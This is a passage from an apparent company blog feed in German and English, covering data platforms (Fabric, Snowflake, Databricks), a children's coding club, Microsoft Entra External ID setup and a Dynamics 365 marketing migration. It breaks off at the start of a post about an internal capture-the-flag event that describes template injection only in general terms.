hier! In Snowflake Daten importieren, transformieren und übertragen In Snowflake sind Warehouses für Abfragen sowie das Laden von Daten in Tabellen erforderlich. Dabei sind mehrere Optionen (Typ und Größe) möglich. Diese Optionen ermöglichen es, Warehouses entsprechend den spezifischen Anforderungen ihrer Workloads zu konfigurieren, von kleinen, kostengünstigen Instanzen für leichte Aufgaben bis hin zu großen, leistungsstarken Instanzen für datenintensive Operationen. Ein Multi-Cluster-Warehouse ermöglicht es, die Rechenleistung dynamisch zu skalieren.\nAbb. 7: Optionen beim Erstellen eines Warehouses in Snowflake. Alle Daten in Snowflake werden in Databases verwaltet (siehe Abb. 8).\nAbb. 8: Databases in Snowflake. Worksheets in Snowflake sind interaktive Schnittstellen zum Schreiben und Ausführen von SQL-Abfragen sowie zum Anzeigen und Analysieren von Abfrageergebnissen. Hier wird sowohl SQL als auch Python (mit Snowpark Libraries) unterstützt.\nAbb. 9: Worksheet Interface in Snowflake. Notebooks bieten eine interaktive, zellenbasierte Programmierumgebung für Python und SQL. Hier werden SQL und Python unterstützt. Spark wird jedoch nicht unterstützt, hierfür eignen sich Microsoft Fabric oder Databricks.\nAbb. 10: Beispiele Notebook in Snowflake. In Snowflake können Daten über Worksheets oder Notebooks mit dem COPY-Befehl aufgenommen werden oder über eine visuelle Oberfläche.\nAbb. 11: Möglichkeiten, um in Snowflake Daten zu importieren. Daten können ebenso kontinuierlich und automatisch nahezu in Echtzeit über Snowpipe geladen werden: Sobald neue Dateien ankommen, werden sie sofort verarbeitet. Snowpipe wird primär über SQL-Befehle (Code) in Snowflake eingerichtet.\nTasks in Snowflake sind automatisierte, zeitgesteuerte SQL-Anweisungen oder Stored Procedures, die innerhalb der Snowflake-Umgebung ausgeführt werden, um Datenverarbeitungs- und Transformationsaufgaben zu orchestrieren. Im Gegensatz zu Microsoft Fabric sind Tasks in Snowflake primär für SQL-Operationen und -Transformationen geeignet.\nAbb. 12: Eine Task in Snowflake ist eine umfassend konfigurierbare, automatisierte Einheit zur Ausführung von SQL-Befehlen (Quelle). In Databricks Daten importieren, transformieren und übertragen Anmerkung: Hier wurde die Community-Version getestet\nIn Databricks kann man einen Cloud-Anbieter für die Databricks-Umgebung auswählen. Die Optionen sind AWS, Microsoft Azure und Google Cloud Platform. Für dieses Beispiel wurde die Community-Version verwendet.\nAbb. 13: Auswahl der Cloud-Anbieter für die Databricks-Umgebung. In Databricks können Daten lokal hochgeladen werden oder über Notebooks aufgenommen. Dafür bietet Databricks Beispiel-Notizbücher, die erklären, wie Daten aus verschiedenen Konnektoren importiert werden können. Die verfügbaren Optionen umfassen Amazon Kinesis, Cassandra, Snowflake, JDBC, Kafka, Redis, Elasticsearch und MongoDB (in der Community-Version). Notebook unterstützt Python, Scala, SQL und R.\nAbb. 14: Hochladen von lokalen Dateien in Databricks. Abb. 15: Verschiedene Konnektoren für Beispiels-Notizbüchern in Databricks. Abb. 16: Beispielhaftes Notizbuch, um Daten aus Kafka zu importieren in Databricks. Clusters konfigurieren die Rechenressourcen, auf denen die Notebooks und Abfragen ausgeführt werden.\nAbb. 17: Clusters in Databricks. Jobs in Databricks sind ein zentrales Werkzeug für die Automatisierung und Orchestrierung von Datenverarbeitungsprozessen. Die Jobs können über eine Benutzeroberfläche verwaltet, parametrisiert und geplant werden (ähnlich wie in Microsoft Fabric die Data Pipelines oder Tasks in Snowflake). Jobs können mehrere Aufgaben haben, die voneinander abhängen.\nAbb. 18: Job erstellen in Databricks (Quelle). Workflows in Databricks ermöglichen es, komplexe Datenverarbeitungs- und Analyseaufgaben zu orchestrieren und zu automatisieren.\nAbb. 19: Worksflows erstellen in Databricks (Quelle). 4. Daten visualisieren in Microsoft Fabric / Snowflake / Databricks In Microsoft Fabric Daten visualisieren In Microsoft Fabric können Visualisierungen nach dem Erstellen eines semantischen Modells über Power BI erzeugt werden. Hier können Daten aus verschiedenen Quellen mit Hilfe einer UI verbunden, analysiert und visualisiert werden mit Berichten sowie Dashboards. Die Änderungen der Tabelle im Lakehouse/Warehouse werden in Echtzeit im Report dargestellt.\nAbb. 20: Beispielreport in Microsoft Fabric. In Snowflake Daten visualisieren In Snowflake werden Visualisierungen mit Hilfe des Dashboard-Tools erstellt. Im Vergleich zu Microsoft Fabric müssen hier die Daten zuerst via SQL- oder Python-Befehle vorverarbeitet werden. Die Visualisierungsoptionen sind sehr beschränkt.\nAbb. 21: Beispiel für die Erstellung einer Visualisierung in Snowflake. Zuerst müssen für die Erstellung einer Visualisierung in Snowflake die Daten über SQL-Befehle vorverarbeitet werden. Schließlich kann man über die UI festlegen, wie das Diagramm aussehen soll. Allerdings sind die Optionen eingeschränkt und es gibt nur fünf Diagrammtypen: Line Chart, Bar Chart, Scatter Chart, Hoatgrid Chart and Scorecard.\nAbb. 22: Beispieldashboard in Snowflake. In Databricks Daten visualisieren In Databricks können Visualisierungen über Notebooks mittels SQL erstellt werden. Die Analyseergebnisse können in einem Dashboard integriert werden, jedoch ist eine gemeinsame Nutzung im Vergleich zu Microsoft Fabric begrenzt.\nAbb. 23: Beispiel für ein Dashboard in Databricks (Quelle). ","date":"20. Februar 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/fabric-snowflake-databricks_hubde3ae06c197bc9c01edb853b4c72cb9_94035_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/fabric-snowflake-databricks_hubde3ae06c197bc9c01edb853b4c72cb9_94035_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/vergleich-von-microsoft-fabric-vs.-snowflake-vs.-databricks/","tags":["tooling"],"title":"Vergleich von Microsoft Fabric vs. Snowflake vs. Databricks"},{"categories":["Insights"],"contents":"In der zunehmend digitalen Welt werden technologische Schlüsselkompetenzen immer wichtiger. Viele staatliche Bildungseinrichtungen haben diese Herausforderung bereits anerkannt und bieten entsprechenden Unterricht oder Arbeitsgruppen an. Doch nicht alle jungen Menschen haben Zugang dazu. Genau hier setzt der Code Club an: Er versucht diese Lücke zu schließen und ermöglicht es ihnen, sich die grundlegenden Fähigkeiten anzueignen und so aktiv die digitale Zukunft mitzugestalten.\nNotwendigkeit technologischer Kompetenzen Schlüsselkompetenzen wie digitale Fähigkeiten sind heute in nahezu allen Lebensbereichen unverzichtbar. Besonders in der modernen Arbeitswelt bilden sie die Grundlage, um Zugang zu zahlreichen Berufsfeldern zu erhalten, die ohne entsprechendes Wissen verschlossen bleiben. Wer in Zukunft mithalten will, benötigt weit mehr als grundlegende Kenntnisse zu Tools wie Textverarbeitung oder Tabellenkalkulation, sondern auch ein tiefgehendes Verständnis für Programmierung, Datenverarbeitung und Netzwerksicherheit.\nObwohl man annehmen könnte, dass die Generation der Digital Natives diese Kompetenzen automatisch mitbringt, zeichnet die Realität ein anderes Bild. Ein Bericht des Bildungsmagazins „News4teachers“ von 2024 verweist auf die ICIL-Studie, die eine besorgniserregende Entwicklung aufzeigt:\n\"In der Erhebung vor fünf Jahren lag der Anteil derer, die nur die einfachsten Anwendungen am PC durchführen konnten, noch bei 33,2 Prozent, was auch schon als besorgniserregend bezeichnet worden war – nun der deutliche Anstieg auf knapp 41 Prozent. Solche Schülerinnen und Schüler können zum Beispiel einen Link in einer E-Mail öffnen oder ein Bild in ein Dokument einfügen, scheitern aber an komplexeren Aufgaben.\" Diese Zahlen verdeutlichen, wie dringend es ist, jungen Menschen den Zugang zu gezielter digitaler Bildung zu ermöglichen und sie für die digitale Zukunft zu begeistern. Doch noch immer haben nicht alle die gleichen Chancen auf ein solches Bildungsangebot.\nChancengleichheit in der digitalen Bildung Die aktuelle Herausforderung besteht nicht nur darin, jungen Menschen digitale Kompetenzen zu vermitteln, sondern ihnen als Vorbedingung auch Zugang zum entsprechenden Bildungsangebot zu bieten. Besonders Kindern und Jugendlichen aus Familien ohne technische Affinität oder mit begrenzten finanziellen und infrastrukturellen Mitteln fehlt dieser Zugang. Dies liegt unter anderem daran, dass viele staatliche Bildungseinrichtungen nicht die notwendigen Ressourcen haben um diesen Bedarf im schulischen Alltag zu decken.\nEine aktuelle Studie der Vodafone Stiftung aus dem Jahr 2024 zur Nutzung von Informations- und Kommunikationstechnik (IKT) in deutschen Schulen kommt zu dem Ergebnis, dass kreative Tätigkeiten wie Programmieren oder das Erstellen von Websites bei 78 % der Schüler und Schülerinnen entweder selten oder gar nicht vorkommen (Seite 9, Abbildung 2). Die Studie stellt fest:\n\"Traditionelle Aktivitäten wie das Recherchieren von Informationen im Internet und die Erstellung von Dokumenten sind immer noch die deutlich häufigste Art der IKT-Nutzung, während kreative Problemlösungen wie Programmieren oder die Erstellung von Websites weiterhin nur eine geringe Rolle spielen.\" Um von einem entsprechenden Bildungsangebot zu profitieren, müssen Schüler und Schülerinnen somit Glück haben, an einer Schule zu sein, die solche Fähigkeiten fördert. Um diese Lücke zu verkleinern und für mehr Chancengleichheit in der digitalen Bildung zu sorgen, wurde die Initiative „Code Club“ ins Leben gerufen.\nCode Club Die ehrenamtliche Initiative Code Club wurde 2011 gegründet und ist mittlerweile in über 100 Ländern aktiv. Als Teil der Raspberry Pi Foundation setzt sich der Code Club dafür ein, Kindern und Jugendlichen auf der ganzen Welt Programmierung und Technologie näherzubringen. Das Angebot ist kostenlos und niederschwellig, sodass junge Menschen unabhängig von ihren finanziellen oder sozialen Hintergründen teilnehmen können. In den Clubs lernen die Teilnehmenden praxisorientiert und spielerisch, wie sie kleine oder auch komplexe Projekte umsetzen können. Dabei werden nicht nur digitale Kompetenzen, sondern auch Kreativität, Problemlösungsfähigkeiten und Teamarbeit gefördert.\nAuch in Karlsruhe gab es einen Code Club Standort, der von Objektkultur betreut wurde. Unser Ziel war es, der Gemeinde etwas zurückzugeben und jungen Menschen zu ermöglichen, ihre digitalen Fähigkeiten zu erweitern. Aktuell gibt es keine neuen Termine.\nFazit Die digitale Zukunft erfordert grundlegende technologische Kompetenzen, die heute in vielen Lebensbereichen entscheidend sind. Doch nicht alle jungen Menschen haben Zugang zu den nötigen Bildungsmöglichkeiten, um diese Fähigkeiten zu entwickeln. Der Code Club setzt genau hier an und bietet Kindern und Jugendlichen eine kostenlose Möglichkeit, sich in einem kreativen Umfeld digitale Fähigkeiten und Wissen anzueignen.\n","date":"10. Februar 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/CodeClub_hub3abd14d36f19cd9c18e3e58e5b6887f_478104_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/CodeClub_hub3abd14d36f19cd9c18e3e58e5b6887f_478104_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/code-club-in-karlsruhe-so-lernen-kinder-und-jugendliche-programmieren/","tags":null,"title":"Code Club in Karlsruhe - so lernen Kinder und Jugendliche programmieren"},{"categories":["How to"],"contents":"Customer Identity \u0026amp; Access Management (CIAM) Customer Identity \u0026amp; Access Management (CIAM) ist ein Konzept, das Unternehmen dabei unterstützt, die Identität und den externen Zugang von Kunden und Kundinnen zu ihren digitalen Diensten und Anwendungen zu verwalten. CIAM ist damit eine Untergruppe des umfassenderen Konzepts des Identity \u0026amp; Access Managements (IAM) im Unternehmen und umfasst verschiedene Aspekte, darunter:\nIdentitätsmanagement: Verwaltung von Benutzerkonten, einschließlich der Registrierung, Authentifizierung und Autorisierung von Kunden und Kundinnen. Benutzerdatenverwaltung: Speicherung und Pflege von Kundeninformationen, einschließlich persönlicher Daten und Präferenzen. Sicherheitsfunktionen: Implementierung von Sicherheitsmaßnahmen wie Multi-Faktor-Authentifizierung (MFA), um unbefugten Zugriff zu verhindern. Compliance: Sicherstellung der Einhaltung von Datenschutzbestimmungen wie der Datenschutz-Grundverordnung (DSGVO) in der EU. Benutzererfahrung: Bereitstellung einer nahtlosen und benutzerfreundlichen Anmeldung und Verwaltung von Konten, um die Kundenzufriedenheit zu erhöhen. Integration: Verbindung mit anderen Systemen, digitalen Diensten und Anwendungen, um einen einheitlichen und nahtlosen Zugang zu verschiedenen Dienstleistungen zu ermöglichen. CIAM hilft dabei nicht nur die Kundenidentitäten zu verwalten, die Sicherheit zu erhöhen und den Zugriff zu kontrollieren, sondern stärkt auch die Kundenbindung und verbessert die Effizienz der Geschäftsprozesse.\nMicrosoft Entra External ID Entra External ID (EEID) ist die Identity \u0026amp; Access Management Lösung von Microsoft, die speziell für die Verwaltung externer Kundenidentitäten seit Mai 2024 verfügbar ist. EEID ist das nächste Generation von CIAM und löst die bisherige Lösung Azure AD B2C ab.\nAbb.: Microsoft Entra External ID (Quelle: Microsoft) EEID ermöglicht Unternehmen, die Identität von Benutzern und Benutzerinnen, die nicht Mitarbeitende sind (z. B. Partner, Kunden oder Dienstleister), sicher zu verwalten und ihnen den Zugang zu Anwendungen und Ressourcen zu gewähren. Die wichtigsten Funktionen von Entra External ID sind:\nRegistrierung und Anmeldung (Authentifizierung): Benutzer und Benutzerinnen können sich einfach für bereitgestellte digitale Dienste, Anwendungen oder Ressourcen registrieren (Sign Up) und anmelden (Sign In). Hierfür können neben E-Mail und Passwort oder der Kombination aus E-Mail und Einmalpasswort (OTPC) im Registrierungs- und Anmeldeprozess auch soziale Medien (z. B. Facebook, Google) oder andere Identitätsanbieter (z. B. Entra ID, SAML/WS-Fed) verwendet werden. Registrierungs- und Anmeldebenutzerflow erweitern: Innerhalb eines Registrierungs- und Anmeldebenutzerflows gibt es integrierte Authentifizierungsereignisse, bei denen eine eigene Geschäftslogik oder Workflows per REST-API Calls ausgeführt werden können. Abb.: Mögliche Authentifizierungsereignisse (Quelle: Microsoft) Auf Authentifizierungsereignisse zu reagieren ist sinnvoll, um z. B. Registrierungsseiten vor zu befüllen, Fehler auszugeben, Registrierungen zu blockieren, eingegebene Daten zu überprüfen oder Authentifizierung-Token mit Daten aus Drittsystemen als Claims anzureichern.\nZugriffsverwaltung (Autorisierung): Unternehmen können steuern, welche externen Benutzer auf bestimmte Ressourcen zugreifen dürfen und Berechtigungen entsprechend anpassen. Die Zugriffsverwaltung kann u.a. auf Basis von Rollen (RBAC), Gruppen (GBAC) oder Token-basiert über Claims erfolgen. Self-Services: Anpassungen an Profildaten für definierte Attribute (Profil edit) sowie das Zurücksetzen von Passwörtern (Password reset) können im Self-Service von Kunden und Kundinnen selbst durchgeführt werden. Sicherheitsfunktionen: Multi-Faktor-Authentifizierung (MFA) und andere Sicherheitsmaßnahme, wie bedingter Zugriff erhöhen die Sicherheit beim Zugriff auf die Unternehmensressourcen. Governance \u0026 Compliance: Unterstützung bei der Einhaltung von Datenschutz- und Sicherheitsstandards sowie der Bereitstellung und Verknüpfung von Nutzungsbedingungen und Regeln zur Altersbeschränkungen. Aussehen und Verhalten: Eine einfache, intuitive und anpassbare Benutzeroberfläche verbessert die nahtlose Benutzererfahrung und erhöht die Wahrscheinlichkeit, dass externe Benutzer die Dienste nutzen. Über Anpassungsmöglichkeiten im Aussehen und durch die Verwendung von eigenen Domain-Namen in den URLs wird ein einheitliches Unternehmensbranding gewährleistet. Es werden aktuell 36 Sprachen unterstützt. Integration: Nahtlose Integration mit anderen Microsoft-Diensten und Drittanbieter-Anwendungen. Unternehmen, die regelmäßig mit externen Partnern und Partnerinnen oder Kunden und Kundinnen zusammenarbeiten, nutzen Entra External ID, um eine sichere Authentifizierung und effiziente Autorisierung dieser Benutzer zu gewährleisten. Gleichzeitig stellt die Lösung sicher, dass Sicherheits- und Compliance-Anforderungen erfüllt werden.\nDemo Im Rahmen dieser Demo demonstrieren wir Ihnen, wie Entra External ID als CIAM-Lösung für Anwendungen eingerichtet werden kann. Dazu erstellen wir einen neuen External ID Tenant, richten einen Nutzerfluss ein, binden eine Anwendung an und passe das Design der Anmeldeseite an.\nErstellen eines External ID Tenants Zunächst erstellen wir einen neuen Entra External ID Tenant. Dieser Tenant ist separat von unserem internen Unternehmensmandanten und wird ausschließlich für die Verwaltung von Kundenidentitäten verwendet.\nDazu navigieren wir zum Microsoft Entra Admin Center (https://entra.microsoft.com ). Nach der Anmeldung können wir unter \u0026ldquo;Identität\u0026rdquo; \u0026gt; \u0026ldquo;Übersicht\u0026rdquo; die Schaltfläche „Mandanten verwalten“ auswählen. Über den Button „Erstellen“ starten wir den Konfigurationsdialog eines neuen Mandanten und wählen „Extern“ aus.\nAuf der anschließenden Konfigurationsseite geben wir „Objektkultur-Kunden“ als Mandantenname und Objektkulturcustomers als Domänenname an. Der Mandantenname wird nach der Erstellung im Entra Portal angezeigt, um den Tenant identifizieren zu können. Der Domänenname muss eindeutig sein und wird automatisch um die Endung „.onmicrosoft.com“ ergänzt. Diese Domäne wird Teil der Anmelde-URL für die Nutzer und Nutzerinnen des Tenants. Aus dem von uns gewählten Standort „Deutschland“ ergibt sich der geografische Standort „Europa“. Der Standort bestimmt die verwendeten Rechenzentren und kann nach der Erstellung nicht mehr geändert werden.\nAbb.: Dialog zur Mandantenerstellung Nach der Grundkonfiguration wählen wir ein Azure-Abonnement aus und erstellen eine Ressourcengruppe für den Tenant. Nachdem wir die Angaben auf der letzten Seite des Dialogs überprüft haben, starten wir die Erstellung.\nKonfigurieren eines Userflows Nachdem unser Entra External ID Tenant erstellt wurde, richten wir einen Userflow für die Registrierung und Anmeldung ein.\nDazu navigieren wir, nach dem Wechsel in den neuerstellten Tenant, im Entra Admin Center zu \u0026ldquo;Identitäten\u0026rdquo; \u0026gt; \u0026ldquo;Azure AD External Identities\u0026rdquo; \u0026gt; \u0026ldquo;Benutzerflows\u0026rdquo; und klicken auf „Neuer Benutzerflow“. Den neuen Flow nennen wir „SignUpSignIn“, da er sowohl für die Registrierung als auch für die Anmeldung verwendet wird. Als Identitätsanbieter wählen wir „E-Mail mit Kennwort“, weil diese Anmeldemethode den meisten Nutzern und Nutzerinnen vertraut ist. Entra External ID unterstützt alternativ auch die Anmeldung mit einem Einmal-Passcode oder mit anderen Identitätsanbietern, wie Google oder Facebook. Anschließend wählen wir die Benutzerattribute aus, die während der Registrierung erfasst werden sollen. Wir entscheiden uns für „Vorname“, „Nachname“ und „Anzeigename“. Entra External ID unterstützt auch die Erstellung von benutzerdefinierten Attributen, falls besondere Informationen über die Nutzer und Nutzerinnen benötigt werden.\nAbb.: Dialog zur Userflow-Erstellung Die gewählte Konfiguration kann auch nach der Erstellung noch geändert werden. Über die Schaltfläche „Erstellen“ legen wir den Userflow an.\nAnbinden einer Anwendung Nachdem wir im vorhergehenden Schritt einen Userflow konfiguriert haben, binden wir jetzt eine Anwendung daran an. Das ermöglicht der Anwendung die Nutzung des konfigurierten Registrierungs- und Anmeldeprozesses.\nWir haben die Anwendung, welche wir verwenden wollen, bereits im Entra External ID Tenant registriert, um die notwendigen Client-IDs und URIs zu erhalten. Auf der Benutzerflows-Oberfläche wählen wir zunächst den konfigurierten Userflow und auf der sich öffnenden Konfigurationsseite „Anwendungen“ aus. Anschließend klicken wir auf „Anwendung hinzufügen“ und wählen in der Liste der verfügbaren Anwendungen unsere „Objektkultur-Kundenportal-Anwendung“ aus.\nAbb.: Auswählen der anzubindenden Anwendung Durch das Hinzufügen der Anwendung zu dem Userflow wird eine Verbindung zwischen der Anwendung und dem konfigurierten Authentifizierungsprozess hergestellt. Die Anwendung kann den sicheren und anpassbaren Registrierungs- und Anmeldeprozess von Entra External ID anschließend verwenden.\nAnpassen der Benutzeroberfläche Zum Abschluss passen wir die Anmelde- und Registrierungsseite an, um das Benutzererlebnis zu verbessern. Dazu navigieren wir zu \u0026ldquo;Benutzererfahrungen\u0026rdquo; \u0026gt; \u0026ldquo;Unternehmensbranding\u0026rdquo; und wählen „Anpassen“ unter dem Punkt \u0026ldquo;Standardanmeldeerfahrung\u0026rdquo; aus.\nUnter „Allgemeine Informationen“ laden wir ein Hintergrundbild für die Anmeldeseite hoch. Auf der nächsten Seite behalten wir das zentrierte Layout aus den Voreinstellungen bei, da diese Ansicht auf verschiedenen Bildschirmgrößen gut aussieht. An der Kopfzeile nehmen wir keine Anpassungen vor und unter Fußzeile hinterlegen wir Links zu unseren Datenschutz- und Nutzungsbedingungen. Auf der Seite „Anmeldeformular“ laden wir nur ein passendes Bannerlogo hoch. Abschließend fügen wir auf der Seite Text noch angepasste Texte für die Registrierung hinzu. Dazu wählen wir zunächst die Schaltfläche „Add Custom Text“ aus und selektieren im Dropdown-Menü „Text zum Anpassen“ anschließend die Option „Registrieren“. Als Titel tragen wir „Willkommen bei Objektkultur“ ein und ergänzen unter Beschreibung einen kurzen Text, der die Vorteile der Registrierung erläutert. Nachdem wir die gewünschten Elemente angepasst haben, klicken wir auf „speichern“ und sehen die Änderungen nach einer kurzen Zeit auf den Anmelde- und Registrierungsseiten. Die vorgenommenen Änderungen werden für alle Anmelde- und Registrierungsseiten von Anwendungen in diesem Tenant übernommen.\nAbb.: Vorher und Nachher der Benutzeroberfläche Mit dieser letzten Änderung haben wir erfolgreich einen Entra External ID Tenant erstellt, einen Userflow konfiguriert, eine Anwendung angebunden und die Oberfläche angepasst.\n","date":"16. Dezember 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/entra-external-id_hu226200e279621ed339334edd2b0f7407_909208_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/entra-external-id_hu226200e279621ed339334edd2b0f7407_909208_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/microsoft-entra-external-id-features-und-konfiguration/","tags":["idm","azure","security"],"title":"Microsoft Entra External ID - Features und Konfiguration"},{"categories":["How To"],"contents":"For some time now, it has been clear that the Real-time Marketing module will replace the Outbound Marketing module. Microsoft has now officially announced that the Outbound Marketing module will be gradually phased out and completely discontinued by June 30, 2025 . Therefore, it is essential to migrate the remaining functionalities to ensure the continued operation of the system. Aside from this necessity, the Real-time Marketing module also offers improvements in terms of loading latencies for embedded forms, as well as easier handling when creating forms and journeys.\nIn this article, I will discuss the transfer of components from the Outbound Marketing module to the Real-time Marketing module. Since Microsoft has already provided a pretty detailed documentation regarding the specific transition, I would like to focus particularly on the issues that can occur during this process and our individual solutions, as well as evaluate the current state of the Real-time Marketing module. Therefore, I recommend carrying out the migration as quickly as possible.\nTransition Overview and Resources The following examples highlight key components that should be transitioned to Real-time Marketing:\nSegments: The outbound segments can also be used for the Real-time Marketing, but it is recommended to use new segments, due to better performance. To convert the segments, I created a corresponding segment in Real-time Marketing for each segment in Outbound Marketing. I added all participants from the old segment to the new one, using a cloud flow with an instant trigger, as there was no automatic transfer. Consent: Functionality for migrating consents is also already provided. For example, when creating a new compliance profile, you can choose to transfer consents from an existing profile. This is highlighted in \u0026ldquo;Migrate consent from outbound marketing\u0026rdquo; . However, I recommend creating the compliance profile shortly before the transition, as consents are only transferred during creation. Therefore, new entries may be lost if the new profile is not used relatively soon after creation. E-Mails: Existing emails can be directly converted using a functionality offered by Microsoft . However, I recommend creating a new brand profile and checking the personalized fields (if any). Additionally, the compliance profile should be switched to the corresponding new settings center afterwards. Marketing Forms: Outbound forms cannot simply be migrated; they must be manually recreated as Real-time forms. It is important to note that a form can now only belong to either a lead or a contact, but not both. Consequently, the columns of the entity are then directly available as fields, and there is no need to create custom fields. Real-Time-Journeys (RTJ): To make things easier, it is also recommended to simply create the journeys anew, as a different trigger is used for the Real-time forms. When creating the journey, you can select the form directly from a dropdown without having to search for IDs. The rest of the journeys remain the same. Problem with Double-Opt-In (DOI) Using the newly added standard functionality for the Double-Opt-In brings some issues. Foremost, you need to activate the DOI in the settings for the Real-Time Marketing. Afterwards, you can set the DOI up for a preference center.\nIt is important to create a new brand profile beforehand; otherwise, the automatic activation will fail in one of the subsequent steps. When you click the button, Dynamics 365 automatically creates an email for the DOI, as well as a journey that sets the consent accordingly and sends the email. For aesthetic reasons, I recommend manually improving the design of the email, as only a standard template is used here.\nIf you then set the tab to Enabled, the DOI will be activated for this preference center. It is important to note that the DOI must be activated for all consents, regardless of whether they are restricted or not. Since only one compliance center can be selected for a marketing form, it is not possible to have consents with and without DOI for a single form. For example, it is not possible to have the consent for general terms and conditions without DOI confirmation (because they are mandatory to submit the form), while having the consent for the newsletter with DOI.\nSince custom fields currently cannot be added to the form, the simplest solution for general terms and conditions is to create a binary column (Yes/No) in the linked entity and use this instead of a consent field. Afterwards, you can use this column and a cloud flow that triggers on it to update the consent for this contact.\nWith this simple trick, you can exactly replicate any form from Outbound Marketing in Real-time Marketing and retain its functionality.\nProblem with Lead Creation Another issue that occurred during our transition is that form owners should not be teams. The idea, why this could be useful, is as follows: the owners of the leads created through a form inherit the owner of the form. However, while it is technically possible to change the owner of a form to a team, this results in an error in a Microsoft plugin during lead creation, and no lead is created for this form submissions.\nTo work around this issue, I simply created a service account that owns all the forms. After creation, a cloud flow triggers on the leads created by this user and automatically assigns them to the team. This way, you can easily assign the leads created by the marketing forms to a team.\nMonitoring of Submissions In general, I recommend including the form submissions in the monitoring process, as data entries can be lost in case of a failed submission, and Microsoft does not provide standard messages except for the popup when directly clicking on a form. The simplest way to achieve this is with a cloud flow or plugin that triggers on changes in the Form Submissions (msdynmkt_marketingformsubmission) entity and raises an alert if the status of a submission changes to Failure.\nConclusion In summary, the transition itself is relatively simple, and Microsoft already provides a lot of functionality in the Real-time Marketing module. However, there can be some issues in specific cases, such as with the Double-Opt-In.\nA significant advantage, in my opinion, is that the forms can be tested standalone, and you don’t need an extra test page for development and testing. Additionally, the module is much more user-friendly when creating forms and journeys, as the form linked to a journey can be selected directly from a dropdown, and the columns of the entities can be set directly on the forms without needing custom fields.\nDespite all the advantages, there is also a major drawback to Real-time Marketing. Microsoft has not covered any integrations with social media, such as LinkedIn, with standard functionality, for now, but according to their statements , they consider adding the LinkedIn feature.\nIf you’ve experienced unique challenges during your migration or have additional tips, please share them with me.\n","date":"5. Dezember 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/migrate-Outbound_hu946a8bc42d2dbb036a9b56ecf7bf9912_209850_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/migrate-Outbound_hu946a8bc42d2dbb036a9b56ecf7bf9912_209850_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-to-migrate-from-outbound-to-real-time-marketing-in-microsoft-dynamics-365/","tags":["dynamics-365","crm"],"title":"How to migrate from Outbound to Real-time Marketing in Microsoft Dynamics 365"},{"categories":["Insights"],"contents":"Vor kurzem fand wieder unser jährlicher OKHack statt. Die Veranstaltung schließt unsere internen Weiterbildungen im Bereich Offensive Security ab, bei denen wir uns im Rahmen unseres DevSecOps-Prozesses mit Hacking, Penetration Testing und dem Security-Auditing von Code und Anwendungen beschäftigen. Diese Art von Event bietet uns die ideale Plattform, um die in den Weiterbildungen vermittelten Fähigkeiten zu trainieren und in einem praxisnahen Umfeld zu schärfen. Zudem fördert die Zusammenarbeit beim Lösen kniffliger Aufgaben im Team den Austausch untereinander und bringt uns als Kollegen näher zusammen. Das Format ist die Teilnahme an einem CTF.\nWas ist ein CTF? Ein CTF (Capture-the-Flag) ist ein Hacking-Wettbewerb, bei dem es darum geht, innerhalb einer vorgegebenen Zeit – meistens 24 oder 48 Stunden – Aufgaben aus den Bereichen IT-Security und Hacking zu lösen. Das kann von der Analyse eines Netzwerkmitschnitts über das Aufspüren von Schwachstellen in Webanwendungen bis hin zum Entschlüsseln von kryptografischen Geheimnissen reichen. Je schwieriger die Aufgaben, desto mehr Punkte gibt es – und das Team mit den meisten Punkten gewinnt am Ende.\nHighlights Eine der Aufgaben, die uns dieses Jahr beim CSAW CTF 2024 besonders in Erinnerung geblieben ist, war eine Web-Challenge. Diese zwang uns dazu, zwei verschiedene Sicherheitslücken im Code zu finden und geschickt miteinander zu kombinieren, um so einen vollwertigen Angriff durchzuführen. Die Aufgabe war deshalb besonders spannend, weil sie an Themen anknüpfte, die wir in unseren Weiterbildungen behandelt hatten: die Identifikation und Kombination von Schwachstellen zur Erstellung eines umfassenden Threat Models und der Kategorisierung und Bewertung solcher.\nVorbereitend auf gezielte Penetration-Testing-Szenarien im Rahmen unserer Projekte lehren wir vorrangig PASTA (Process for Attack Simulation and Threat Analysis) als Vorgehensweise für einen strukturierten und risikobasierten Ansatz, um Bedrohungen auch immer im geschäftlichen Kontext zu modellieren - aber auch STRIDE , das sich im Rahmen agiler Projekte einfach iterativ implementieren lässt.\nIn der besagten Challenge ging es zum einen um eine sogenannte Template Injection. Dabei handelt es sich um eine Sicherheitslücke, bei der ein Angreifer unerwartete Benutzereingaben in eine Webanwendung injizieren kann, um bösartigen Code in die Template-Engine einzuschleusen. Das ist deshalb besonders gefährlich, weil die 